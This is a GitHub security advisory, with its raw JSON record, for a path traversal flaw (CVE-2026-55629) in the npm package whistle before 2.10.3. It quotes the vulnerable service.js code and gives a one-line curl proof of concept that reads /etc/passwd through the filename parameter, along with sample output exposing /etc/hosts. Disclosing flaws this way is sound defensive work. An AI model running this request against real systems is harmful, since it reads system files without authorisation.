GHSA-3VFR-4GWF-QXFP

Vulnerability from github – Published: 2026-08-25 18:32 – Updated: 2026-08-25 18:32
VLAI
Summary
Whistle vulnerable to path traversal
Details

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.

Vulnerability detail:

In service.js, inside app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);

Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.

If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.

In other words: if you pass passwd, it will read passwd.

POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"

response:

xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "whistle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:32:06Z",
    "nvd_published_at": "2026-07-16T20:16:45Z",
    "severity": "HIGH"
  },
  "details": "This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get(\u0027/cgi-bin/temp/get\u0027, ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/\u003chash\u003e pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```",
  "id": "GHSA-3vfr-4gwf-qxfp",
  "modified": "2026-08-25T18:32:07Z",
  "published": "2026-08-25T18:32:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55629"
    },
    {
      "type": "WEB",
      "url": "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/avwo/whistle"
    },
    {
      "type": "WEB",
      "url": "http://github.com/avwo/whistle/releases/tag/v2.10.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Whistle vulnerable to path traversal"
}



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